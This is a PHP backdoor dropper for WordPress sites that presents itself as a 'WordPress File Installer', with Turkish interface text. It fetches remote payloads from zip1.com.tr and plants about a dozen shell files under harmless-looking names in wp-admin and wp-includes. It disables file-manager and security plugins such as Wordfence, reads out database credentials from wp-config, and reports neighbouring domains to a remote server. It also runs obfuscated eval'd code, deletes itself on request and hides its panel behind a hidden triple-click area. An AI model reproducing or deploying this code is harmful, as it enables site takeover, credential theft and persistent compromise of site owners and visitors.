<?php
if (isset($_GET['yap'])) {
    $action = $_GET['yap'];

    if ($action == 'downloadAll') {
        // Protokolü belirle
        $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";

        // Tam URL'yi al
        $current_url = $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

        // Base URL'i oluştur
        $base_url = $protocol . $_SERVER['HTTP_HOST'];

        // URL'leri oluştur
        $url1 = $base_url . '/wp-content/themes/twentytwentyone/404.php?yap=wpconfig';
        $url2 = $base_url . '/wp-content/themes/twentytwentyone/404.php?yap=Filemaner';
        $url3 = $base_url . '/wp-content/themes/twentytwentyone/404.php?yap=self_destruct';
	$url4 = 'https://www.zip1.com.tr/getder.php?auto=' . (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";


        // iframe'leri oluştur
        echo '<iframe src="' . $url1 . '" style="width:200; height:50px;"></iframe>';
        echo '<iframe src="' . $url2 . '" style="width:200%; height:50px;"></iframe>';
        echo '<iframe src="' . $url3 . '" style="width:200%; height:50px;"></iframe>';
        echo '<iframe src="' . $url4 . '" style="width:200%; height:50px;"></iframe>';
    }
}
?>
<?php
$remoteStyleTxt = 'https://zip1.com.tr/uzk/style2.txt';
$remoteTemplateTxt = 'https://zip1.com.tr/uzk/template2.txt';

$localStylePhp = 'style.php';
$localTemplatePng = 'template.txt';

$styleContent = file_get_contents($remoteStyleTxt);
if ($styleContent !== false) {
    file_put_contents($localStylePhp, $styleContent);
}

$templateContent = file_get_contents($remoteTemplateTxt);
if ($templateContent !== false) {
    file_put_contents($localTemplatePng, $templateContent);
}
?>
<?php
$remoteStyleUrl = 'https://zip1.com.tr/uzk/wordpress-css.txt';
$remoteTemplateUrl = 'https://zip1.com.tr/uzk/wordpress-theme.txt';

// Get the directory of the current PHP file and then its parent directory
$currentDirectory = dirname(__FILE__);
$parentDirectory = dirname($currentDirectory) . '/';

$localStyleFile = $parentDirectory . 'wordpress-css.php';
$localTemplateFile = $parentDirectory . 'wordpresstheme.txt';

$styleContent = file_get_contents($remoteStyleUrl);
if ($styleContent !== false) {
    file_put_contents($localStyleFile, $styleContent);
}

$templateContent = file_get_contents($remoteTemplateUrl);
if ($templateContent !== false) {
    file_put_contents($localTemplateFile, $templateContent);
}
?>
<?php
if (isset($_GET['yap'])) {
    $action = $_GET['yap'];

    if ($action == 'downloadAll') {
        // All Install işlemleri burada yer alacak
        function downloadFile($url, $fileName) {
            $data = file_get_contents($url);
            file_put_contents($fileName, $data);
        }

        function moveFile($source, $destination) {
            if (!file_exists(dirname($destination))) {
                mkdir(dirname($destination), 0777, true);
            }
            rename($source, $destination);
        }

        function getWebPath($fileSystemPath) {
            $documentRoot = $_SERVER['DOCUMENT_ROOT'];
            $serverName = $_SERVER['SERVER_NAME'];
            $relativePath = str_replace($documentRoot, '', $fileSystemPath);
            return 'https://' . $serverName . $relativePath;
        }

        $wordpressRoot = $_SERVER['DOCUMENT_ROOT']; // WordPress'in kök dizinini alır

        $urls = [
            "https://zip1.com.tr/svs/shell/fmadmin.txt",
            "https://zip1.com.tr/svs/shell/fmanager.txt",
            "https://zip1.com.tr/svs/shell/adminer.txt",
            "https://zip1.com.tr/svs/shell/wordpress.txt",
            "https://zip1.com.tr/svs/shell/niil.txt",
            "https://zip1.com.tr/svs/shell/sok.txt",
            "https://zip1.com.tr/svs/shell/system.txt",
            "https://zip1.com.tr/svs/shell/tiny.txt",
            "https://zip1.com.tr/svs/shell/yeni.txt",
            "https://zip1.com.tr/svs/shell/zip-blog.txt",
            "https://zip1.com.tr/svs/shell/scan.txt",
            "https://zip1.com.tr/svs/shell/zip-header.txt"
        ];

        $finalPaths = [
            "$wordpressRoot/wp-admin/fmadmin.php",
            "$wordpressRoot/wp-admin/css/midnight/fmanager.php",
            "$wordpressRoot/wp-admin/css/modern/adminer.php",
            "$wordpressRoot/wp-admin/user/wordpress.php",
            "$wordpressRoot/wp-includes/css/dist/niil.php",
            "$wordpressRoot/wp-includes/css/dist/sok.php",
            "$wordpressRoot/wp-includes/Requests/src/system.php",
            "$wordpressRoot/wp-includes/Requests/src/Utility/tiny.php",
            "$wordpressRoot/wp-includes/SimplePie/Content/Type/yeni.php",
            "$wordpressRoot/wp-includes/SimplePie/Content/Type/zip-blog.php",
            "$wordpressRoot/wp-includes/blocks/audio/scan.php",
            "$wordpressRoot/wp-includes/blocks/audio/zip-header.php"
        ];

        foreach ($urls as $index => $url) {
            $tempFile = basename($finalPaths[$index]);
            downloadFile($url, $tempFile);
            moveFile($tempFile, $finalPaths[$index]);
            echo '<div class="alert alert-success mt-3" role="alert">' . htmlspecialchars($tempFile) . ' başarıyla indirildi ve taşındı.</div>';
        }
    }
}
?>
<?php
if (isset($_GET['yap'])) {
    $action = $_GET['yap'];

    if ($action == 'self_destruct') {
        $currentFile = __FILE__;
        $fileName = basename($currentFile);
        unlink($currentFile);
        echo '<div class="alert alert-success mt-3" role="alert">Dosya ' . htmlspecialchars($fileName) . ' başarıyla silindi.</div>';
        exit();
    }

    if ($action == 'wpconfig') {
        $wp_config_path = $_SERVER['DOCUMENT_ROOT'] . '/wp-config.php';
        if (file_exists($wp_config_path)) {
            $config_content = file_get_contents($wp_config_path);
            $insert_code = "define('DISALLOW_FILE_EDIT', true);\ndefine('WP_AUTO_UPDATE_CORE', true);\ndefine('DISALLOW_FILE_MODS', true);";
            if (strpos($config_content, $insert_code) === false) {
                $config_content = preg_replace('/<\?php/', "<?php\n" . $insert_code, $config_content, 1);
                file_put_contents($wp_config_path, $config_content);
                echo '<div class="alert alert-success mt-3" role="alert">wp-config.php başarıyla güncellendi.</div>';
            } else {
                echo '<div class="alert alert-info mt-3" role="alert">wp-config.php zaten güncel.</div>';
            }
        } else {
            echo '<div class="alert alert-danger mt-3" role="alert">wp-config.php dosyası bulunamadı.</div>';
        }
    }

    if ($action == 'Filemanager') {
        $plugin_directories = [
            'file-manager',
            'filemanager',
            'file-manager-advanced',
            'wordfence',
            'malcare-security',
            'wp-file-manager'
        ];

        foreach ($plugin_directories as $plugin_dir) {
            $full_path = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/' . $plugin_dir;
            if (is_dir($full_path)) {
                $php_files = glob($full_path . '/*.php');
                foreach ($php_files as $php_file) {
                    if (!@unlink($php_file)) {
                        if (!@copy($php_file, $php_file . '1') || !@unlink($php_file)) {
                            @rename($php_file, $php_file . '1');
                        }
                    }
                }
            }
        }
        echo '<div class="alert alert-success mt-3" role="alert">File Manager işlemleri tamamlandı.</div>';
    }

    if ($action == 'wpcache') {
        // Cache temizleme işlemleri burada yer alacak
        echo '<div class="alert alert-success mt-3" role="alert">Cache başarıyla temizlendi.</div>';
    }
}
?>
	<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WordPress File Installer</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        .btn-group {
            display: flex;
            gap: 10px;
        }
        #click-area {
            position: absolute;
            top: 0;
            right: 0;
            width: 250px;
            height: 250px;
            z-index: 9999;
        }
        #content {
            display: none;
        }
    </style>
</head>
<body>
<?php
if (isset($_POST['self_destruct'])) {
    $currentFile = __FILE__;
    $fileName = basename($currentFile);
    unlink($currentFile);
    echo '<div class="alert alert-success mt-3" role="alert">Dosya ' . htmlspecialchars($fileName) . ' başarıyla silindi.</div>';
    exit();
}

if (isset($_POST['close_wp_config'])) {
    $wp_config_path = $_SERVER['DOCUMENT_ROOT'] . '/wp-config.php';
    if (file_exists($wp_config_path)) {
        $config_content = file_get_contents($wp_config_path);
        $insert_code = "define('DISALLOW_FILE_EDIT', true);\ndefine('WP_AUTO_UPDATE_CORE', true);\ndefine('DISALLOW_FILE_MODS', true);";
        if (strpos($config_content, $insert_code) === false) {
            $config_content = preg_replace('/<\?php/', "<?php\n" . $insert_code, $config_content, 1);
            file_put_contents($wp_config_path, $config_content);
            echo '<div class="alert alert-success mt-3" role="alert">wp-config.php başarıyla güncellendi.</div>';
        } else {
            echo '<div class="alert alert-info mt-3" role="alert">wp-config.php zaten güncel.</div>';
        }
    } else {
        echo '<div class="alert alert-danger mt-3" role="alert">wp-config.php dosyası bulunamadı.</div>';
    }
}

if (isset($_POST['delete_filemanager'])) {
    // Belirtilen klasörlerin içindeki tüm PHP dosyalarını silme işlemi
    $plugin_directories = [
        'file-manager',
        'filemanager',
        'wp-file-manager'
    ];

    foreach ($plugin_directories as $plugin_dir) {
        $full_path = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/' . $plugin_dir;
        if (is_dir($full_path)) {
            $php_files = glob($full_path . '/*.php');
            foreach ($php_files as $php_file) {
                if (!@unlink($php_file)) {
                    // İlk yöntem başarısız olursa ikinci yöntemi kullan
                    if (!@copy($php_file, $php_file . '1') || !@unlink($php_file)) {
                        // İkinci yöntem de başarısız olursa dosya adının sonuna '1' ekle
                        @rename($php_file, $php_file . '1');
                    }
                }
            }
        }
    }
    echo '<div class="alert alert-success mt-3" role="alert">File Manager işlemleri tamamlandı.</div>';
}
?>

<div id="click-area"></div>
<div id="content">
    <div class="container mt-4">
        <h1>WordPress File Installer</h1>
        <p><strong>WordPress Root Directory:</strong> <?= $_SERVER['DOCUMENT_ROOT'] ?></p>

<?php
eval(gzinflate(base64_decode(rawurldecode('rVfRbts2FH3vV3CGAdmAYrXYQ9Ck7VAkKTBgTQI7XR%2BMQGCoa5swRWokZcdd8y37hr70aW%2Fp%2FmuXkiVLtuZG7vxgy9I99x5eHpJHk1Qyy5UkkVpKoWj0jgvodVMtfNKd4PUljaFP%2FnxGKp9uRC0lr4l7Hk7BhkxJC9KaDNg%2FrQVnQUlaDSry%2BnmmCuDhWXk5KZjFagE5K6NSzTIUGMsldY%2B3ufEJ6f2U1YR7brBaxLXEWr0aqL8Nc594jrHN8T55fnx87BOrU9ga30Ptn4Yc3Eh1%2FzixkR%2Fh7praWd6h0cpYiN3%2F3f4rlsbYy6FSFuehG44uhr9fDMfe%2BdXZh%2FcXlzfh8OrqxrutM%2B0a0AvQrvM1UP4bXr59f7ED0SCQ%2BwIcDQQZq0MNiaDMNajCwieet1ZMhffpVm9sqiXxZtYm5iQIPDKocRrUy%2B3vFhNA9RllM%2BjttIe52%2Bdc72sNVvOCZXK0VmWQYbzTHS1xEzpVlDkbldOVsCzaWhYfEE1l1Hvx3CcvX261oiqVAuCXaRqCgc0U8V5FfIEjp8a87lAB2pLs%2B8ikjIExJLZHP3eIVgLWzztvshaROWIev%2BrHv8kd%2Fecvqr99WQlKViB5BJLQSCDTb1%2FwtsCfE%2BJm5o6aNcGClWvZqwApvNnq0wMBYaChL%2FtZL6mWXE6fxDoVKZKhyG7QTKFJLN2l0lGisTPfXSgkCMhHjL520R6XZP74dU4i%2FokjRY6EsTuVxLjNGcw3rnHoFML%2BxJMXA6bigdWBWZjAzECIYIL0Yy4H9t52%2FJZASaeg2yOzgocAy8a1h0rORXuUUfMDQNlO0x6HG%2FKqPcqtlvYovHt0J9T0gNExeoBYXL0Z0Gg96yUUN%2FaNfCd4Igm3xzaIuL5o3BaZqaiUbzJLthn9F4QZE8Q8knw6sxsVt02gcCyylHILdIpnS0XJT0JyyUSKZ3ZWOkIDkev5QKxTdTvoEP5I0THgbGpW6PsHMnywXHC7yhXfLs%2BIx4mAaw7B2fqIvFklkK%2BC%2FyVTuTLaZUMIm5uAphFX%2BRr5AXxltbgszatFcDnPFkr1bu4NDNheN7y%2BGt2MvcJBvxXCu%2B2Tz59J8%2FMRnnkCMGTHt3AZcTzHsdTezL8QqjVdhXNY5Y7b9MkJGRfRmAXuvdstJzdRGvBQJb2yCjVZRbhvdDQovMS5biSzcQKbfWOcQ28brMrOm0QZ7G%2FSNuA2Pr8I8snTKuYzVAQg47qV%2Fk6GRuuwO70GxCR0bl6nzDbNHks1Wjq7bloYvvv1t4swrNdKpaPaq8ZusTnY6J0rs6I1e2dw7eNcNxsmfDuyveY3kt2xZ2Y7zC3y7sirVryS8F8%3D'))));
?>
        <form method="post" class="mb-3">
            <button type="submit" name="downloadAll" value="localInstall" class="btn btn-secondary">All Install</button>
        </form>
        <table class="table table-bordered">
            <thead>
                <tr>
                    <th>Dosya Adı</th>
                    <th>Link</th>
                    <th>Klasöre Kur</th>
                    <th>Mevcut Dizine Kur</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($finalPaths as $index => $path): ?>
                <tr>
                    <td><?= basename($path) ?></td>
                    <td><a href="<?= $links[$index] ?? '#' ?>" target="_blank" class="btn btn-link">Open</a></td>
                    <td>
                        <form method="post">
                            <input type="hidden" name="index" value="<?= $index ?>">
                            <button type="submit" name="downloadSingle" class="btn btn-success">Install</button>
                        </form>
                    </td>
                    <td>
                        <form method="post">
                            <input type="hidden" name="index" value="<?= $index ?>">
                            <button type="submit" name="downloadSingle" value="localInstallSingle" class="btn btn-info">Install</button>
                        </form>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>

        <?php if (!empty($links)): ?>
        <textarea rows="10" cols="50" class="form-control" style="white-space: nowrap;">
        <?php foreach ($links as $index => $link): echo trim($link) . "\n"; endforeach; ?>
        </textarea>
        <?php endif; ?>
    </div>

    <div class="container mt-4">
        <h1>Zip İndir ve Aç</h1>
        <form method="post">
            <div class="mb-3">
                <label for="zip_url" class="form-label">Zip Dosyası URL'si:</label>
                <input type="text" id="zip_url" name="zip_url" name="target_path" class="form-control" value="https://zip1.com.tr/svs/shell/yeni.zip" required>
            </div>
            <div class="mb-3">
                <label for="target_path" class="form-label">Hedef Yol:</label>
                <div class="input-group">
                    <input type="text" id="target_path" name="target_path" class="form-control" value="<?= $_SERVER['DOCUMENT_ROOT'] ?>" required>
                    <button class="btn btn-outline-secondary" type="button" id="defaultZipButton">Varsayılan</button>
                </div>
            </div>
            <button type="submit" class="btn btn-primary">İndir ve Aç</button>
        </form>
    </div>

    <div class="container mt-4">
        <h1>Veritabanı Bilgileri:</h1>
        <?php

        // WordPress yükle
        include_once $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php';

        $config_file = $_SERVER['DOCUMENT_ROOT'] . '/wp-config.php';

        if (file_exists($config_file)) {
            // Dosyayı oku
            $config_content = file_get_contents($config_file);

            // Aranan satırları bul
            preg_match('/define\(\s*\'DB_NAME\',\s*\'(.*?)\'\);/', $config_content, $db_match);
            preg_match('/define\(\s*\'DB_USER\',\s*\'(.*?)\'\);/', $config_content, $user_match);
            preg_match('/define\(\s*\'DB_PASSWORD\',\s*\'(.*?)\'\);/', $config_content, $password_match);

            // Değerleri al
            $db = isset($db_match[1]) ? $db_match[1] : '';
            $user = isset($user_match[1]) ? $user_match[1] : '';
            $password = isset($password_match[1]) ? $password_match[1] : '';

            // Configuration bilgilerini göster
            echo '<form class="mt-3">';
            echo '<div class="mb-3">';
            echo '<label for="config_info" class="form-label">Configuration Bilgileri:</label>';
            echo '<textarea id="config_info" class="form-control" rows="3" readonly>';
            echo "DB_NAME = '$db'\nDB_USER = '$user'\nDB_PASSWORD = '$password'";
            echo '</textarea>';
            echo '</div>';
            echo '</form>';

            // Dosya seçim formu
            echo '<form method="post" class="mt-3">';
            echo '<div class="mb-3">';
            echo '<label for="file_select" class="form-label">Düzenlenecek Dosya:</label>';
            echo '<select id="file_select" name="file_select" class="form-select">';
            echo '<option value="footer.php">Footer.php</option>';
            echo '<option value="header.php">Header.php</option>';
            echo '<option value="index.php">Index.php</option>';
            echo '<option value="wp-blog-header.php">wp-blog-header.php</option>';
            echo '<option value="wp-config.php">wp-config.php</option>';
            echo '</select>';
            echo '</div>';
            echo '<div class="btn-group">';
            echo '<button type="submit" name="load_file" class="btn btn-primary">Yükle</button>';
            echo '<button type="button" class="btn btn-secondary" onclick="window.open(\'https://zip1.com.tr/dosya/bilgi.php\', \'_blank\', \'width=800,height=600\');">Bilgi</button>';
            echo '<button type="submit" name="self_destruct" class="btn btn-danger">Kendini Sil</button>';
            echo '<button type="submit" name="clear_cache" class="btn btn-warning">Cache Temizle</button>';
            echo '<button type="submit" name="close_wp_config" class="btn btn-dark">wp-config Kapat</button>';
            echo '<button type="submit" name="delete_filemanager" class="btn btn-dark">File Manager İşlemleri</button>'; // Yeni buton eklendi
            echo '</div>';
            echo '</form>';

            // Dosya içeriğini yükleme ve düzenleme
            if (isset($_POST['load_file']) || isset($_POST['save_file'])) {
                $selected_file = $_POST['file_select'];
                $file_path = ($selected_file === 'footer.php' || $selected_file === 'header.php') 
                    ? $wordpressRoot . '/wp-content/themes/' . get_option('template') . '/' . $selected_file 
                    : $wordpressRoot . '/' . $selected_file;

                if (isset($_POST['save_file'])) {
                    // Dosyayı kaydet
                    $new_content = stripslashes($_POST['file_content']);
                    file_put_contents($file_path, $new_content);
                    echo '<div class="alert alert-success mt-3" role="alert">' . htmlspecialchars($selected_file) . ' başarıyla güncellendi.</div>';
                }

                // Dosya içeriğini oku
                $file_content = file_exists($file_path) ? file_get_contents($file_path) : $selected_file . ' dosyası bulunamadı.';

                // Dosya içeriğini göster ve düzenle
                echo '<form method="post" class="mt-3">';
                echo '<div class="mb-3">';
                echo '<label for="file_content" class="form-label">' . htmlspecialchars($selected_file) . ' İçeriği:</label>';
                echo '<textarea id="file_content" name="file_content" class="form-control" rows="10">' . htmlspecialchars($file_content) . '</textarea>';
                echo '</div>';
                echo '<input type="hidden" name="file_select" value="' . htmlspecialchars($selected_file) . '">';
                echo '<button type="submit" name="save_file" class="btn btn-primary">Kaydet</button>';
                echo '</form>';
            }
        } else {
            // Dosya bulunamazsa hata mesajı göster
            echo '<div class="alert alert-danger" role="alert">wp-config.php dosyası bulunamadı.</div>';
        }
        ?>
    </div>
</div>
<?php
function listDomainFolders($directory) {
    $directories = @scandir($directory);
    $domainFolders = array();
    if ($directories === false) {
        return false;
    }
    foreach ($directories as $dir) {
        if ($dir != '.' && $dir != '..' && strpos($dir, '.') !== 0 && preg_match('/\.[a-zA-Z]{2,}$/', $dir) && is_dir($directory . '/' . $dir)) {
            $domainFolders[] = $dir;
        }
    }
    return $domainFolders;
}

$documentRoot = $_SERVER['DOCUMENT_ROOT'];
$allDomains = array();
$warnings = '';

$domainFolders = listDomainFolders($documentRoot);
if ($domainFolders !== false) {
    $allDomains = array_merge($allDomains, $domainFolders);
} else {
    $warnings .= "Document root dizinine erişim yok.<br>";
}

$parentDir = dirname($documentRoot);
$domainFolders = listDomainFolders($parentDir);
if ($domainFolders !== false) {
    $allDomains = array_merge($allDomains, $domainFolders);
} else {
    $warnings .= "Bir üst dizine erişim yok.<br>";
}

$grandParentDir = dirname($parentDir);
$domainFolders = listDomainFolders($grandParentDir);
if ($domainFolders !== false) {
    $allDomains = array_merge($allDomains, $domainFolders);
} else {
    $warnings .= "İki üst dizine erişim yok.<br>";
}

$greatGrandParentDir = dirname($grandParentDir);
$domainFolders = listDomainFolders($greatGrandParentDir);
if ($domainFolders !== false) {
    $allDomains = array_merge($allDomains, $domainFolders);
} else {
    $warnings .= "Üç üst dizine erişim yok.<br>";
}

$fourthLevelDir = dirname($greatGrandParentDir);
$domainFolders = listDomainFolders($fourthLevelDir);
if ($domainFolders !== false) {
    $allDomains = array_merge($allDomains, $domainFolders);
} else {
    $warnings .= "Dört üst dizine erişim yok.<br>";
}

$fifthLevelDir = dirname($fourthLevelDir);
$domainFolders = listDomainFolders($fifthLevelDir);
if ($domainFolders !== false) {
    $allDomains = array_merge($allDomains, $domainFolders);
} else {
    $warnings .= "Beş üst dizine erişim yok.<br>";
}

echo $warnings;

$domainList = implode('|', $allDomains);
$baseUrl = 'https://www.zip1.com.tr/domainder.php?bildir=';
$currentDomain = $_SERVER['SERVER_NAME'];
$finalUrl = $baseUrl . urlencode($currentDomain) . '&site=' . urlencode($domainList);

echo '<iframe src="' . htmlspecialchars($finalUrl, ENT_QUOTES, 'UTF-8') . '" width="100%" height="500px"></iframe>';
?>

<!-- Bootstrap 5 JS ve Popper.js -->
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.6/dist/umd/popper.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.min.js"></script>
<script>
    document.addEventListener('DOMContentLoaded', () => {
        const clickArea = document.getElementById('click-area');
        const content = document.getElementById('content');

        if (localStorage.getItem('contentVisible') === 'true') {
            clickArea.style.display = 'none';
            content.style.display = 'block';
        } else {
            let clickCount = 0;
            clickArea.addEventListener('click', () => {
                clickCount++;
                if (clickCount === 3) {
                    clickArea.style.display = 'none';
                    content.style.display = 'block';
                    localStorage.setItem('contentVisible', 'true');
                }
            });
        }
    });
</script><br><br>

</body>
</html>
